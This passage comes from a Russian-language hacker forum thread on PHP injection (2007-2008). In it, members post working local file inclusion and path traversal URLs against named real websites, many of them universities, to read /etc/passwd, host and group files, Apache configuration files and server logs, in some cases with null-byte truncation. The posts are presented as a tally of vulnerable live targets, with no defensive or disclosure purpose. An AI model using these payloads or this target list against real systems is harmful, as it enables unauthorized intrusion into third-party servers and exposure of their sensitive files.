PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    давно небыло ремоут(

    1.

    2.
    айт хостицo на одном из серверов opentransfer.com. Kому не влом копаться,го на
     
    #561 $n@ke, 16 Dec 2007
    Last edited: 16 Dec 2007
    3 people like this.
  2. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Code:
    http://www.cp.uci.edu/php/forcedownload.php?filename=./../../../../../../../../../../../../etc/passwd%00
    http://www.budgetoffice.uci.edu/php/forcedownload.php?filename=./../../../../../../../../../../../../etc/passwd%00
    http://kinemage.biochem.duke.edu/php/downlode.php?filename=./../../../../../../../../../../../../etc/passwd%00
    https://www.egr.msu.edu/ece/Content_Management/read_tutorial.php?filename=./../../../../../../../../../../../../../../../..//egr/sites/www.egr.msu.edu-ssl/htdocs/ece/Content_Management/read_tutorial.php
    http://www.clarkson.edu/armyrotc/alumni.php?fileName=./../../../../../../../afs/clarkson.edu/depts/armyrotc/public_html/alumni.php
    http://linus.highpoint.edu/~atitus/physlets/physlet.php?filename=./../../../../../../../../../../../../etc/passwd%00
    
     
    5 people like this.
  3. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Safe_mode: ON

    Safe_mode: ON
    Turkey =)
     
    #563 $n@ke, 17 Dec 2007
    Last edited: 19 Dec 2007
  4. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    скиньте ссылку где обо всём этом можно почитать _ а то не понимаю _
    в приват плиз
     
  5. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    www.parivartan.org.in
    Code:
    http://www.parivartan.org.in/index.php?filename=../../../../../etc/passwd
     
    2 people like this.
  6. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    www.clinlab-kafedra.ru
    Code:
    http://www.clinlab-kafedra.ru/main.php?file=../../../../../../../../../../../../../../../../etc/passwd
     
    1 person likes this.
  7. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    trapeza.com.ua

    HTML:
    http://trapeza.com.ua/_dp/view2.php?file=../../../../etc/passwd
     
    2 people like this.
  8. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    geo21eye.com

    HTML:
    http://www.geo21eye.com/sub2.php?filename=../../../../etc/passwd
     
    1 person likes this.
  9. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    http://structures.ucsd.edu/index.php?page=../../../../../../../../../../../../../etc/passwd%00
    http://www.studentmedia.ou.edu/index.php?page=../../../../../../../../../../../../../etc/passwd
     
    2 people like this.
  10. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Давненько не учавствовал в этом =)
     
    1 person likes this.
  11. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    :)
     
    2 people like this.
  12. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    ###################################
    ###################################
     
  13. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Вы отстали)) Последняя инъекция была в прошлом году!
     
  14. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Code:
    http://www.pnosker.com/index.php?include=../../../../../../../../../../etc/passwd
    http://www.pnosker.com/index.php?include=../../../../../../../../../../etc/hosts
    http://www.pnosker.com/index.php?include=../../../../../../../../../../etc/services
    http://www.pnosker.com/index.php?include=../../../../../../../../../../etc/group
    http://www.pnosker.com/index.php?include=../../../../../../../../../../etc/bashrc
    http://www.pnosker.com/index.php?include=../../../../../../../../../../etc/profile
    http://www.pnosker.com/index.php?include=../../../../../../../../../../etc/skel/.bashrc
     
  15. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Code:
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../etc/passwd
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../etc/hosts
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../etc/services
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../etc/group
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../etc/bash.bashrc
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../etc/profile
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../etc/skel/.bashrc
    http://carl.pappenheim.net/index.php?include=../../../../../../../../../../usr/local/apache/conf/httpd.conf
     
    1 person likes this.
  16. AdReNa1!Ne

    AdReNa1!Ne Elder - Старейшина

    Joined:
    24 May 2007
    Messages:
    70
    Likes Received:
    105
    Reputations:
    14
    еда
    Code:
    http://www.studentmedia.ou.edu/index.php?page=../../../../etc/passwd
     
    1 person likes this.
  17. .Begemot.

    .Begemot. Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    148
    Likes Received:
    233
    Reputations:
    0
    permsovprof.ru

    HTML:
    http://www.permsovprof.ru/addon.php?Open=main&File=../../../../../../etc/passwd  
    http://www.permsovprof.ru/addon.php?Open=main&File=../../../../../../etc/hosts  
    http://www.permsovprof.ru/addon.php?Open=main&File=../../../../../../etc/services  
    http://www.permsovprof.ru/addon.php?Open=main&File=../../../../../../etc/group  
    http://www.permsovprof.ru/addon.php?Open=main&File=../../../../../../etc/profile  
    http://www.permsovprof.ru/addon.php?Open=main&File=../../../../../../etc/skel/.bashrc
     
  18. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Хз, может было
    Code:
    http://www.sgfma.org/sgfma.php?incfile=/etc/passwd
    http://www.sgfma.org/sgfma.php?incfile=/etc/hosts
    http://www.sgfma.org/sgfma.php?incfile=/etc/syslog.conf
    http://www.sgfma.org/sgfma.php?incfile=/etc/services
    http://www.sgfma.org/sgfma.php?incfile=/etc/group
    http://www.sgfma.org/sgfma.php?incfile=/etc/profile
    http://www.sgfma.org/sgfma.php?incfile=/etc/bashrc
    http://www.sgfma.org/sgfma.php?incfile=/etc/skel/.bashrc
    http://www.sgfma.org/sgfma.php?incfile=/etc/httpd/logs/error_log
    http://www.sgfma.org/sgfma.php?incfile=/usr/local/apache/logs/error_log
    http://www.sgfma.org/sgfma.php?incfile=/usr/local/apache/logs/access_log
    http://www.sgfma.org/sgfma.php?incfile=[B][url][/B]
     
    #578 NOmeR1, 3 Jan 2008
    Last edited: 3 Jan 2008
    2 people like this.
  19. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    www.az-jenata.com

    HTML:
    http://www.az-jenata.com/index.php?page=../../../../../etc/passwd%00
    http://www.az-jenata.com/index.php?page=../../../../../etc/hosts%00
    http://www.az-jenata.com/index.php?page=../../../../../etc/services%00
    http://www.az-jenata.com/index.php?page=../../../../../etc/group%00
    http://www.az-jenata.com/index.php?page=../../../../../etc/profile%00
    http://www.az-jenata.com/index.php?page=../../../../../etc/skel/.bashrc%00
    http://www.az-jenata.com/index.php?page=../../../../../usr/local/apache/conf/httpd.conf%00
     
    1 person likes this.
  20. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    .edu

     
    1 person likes this.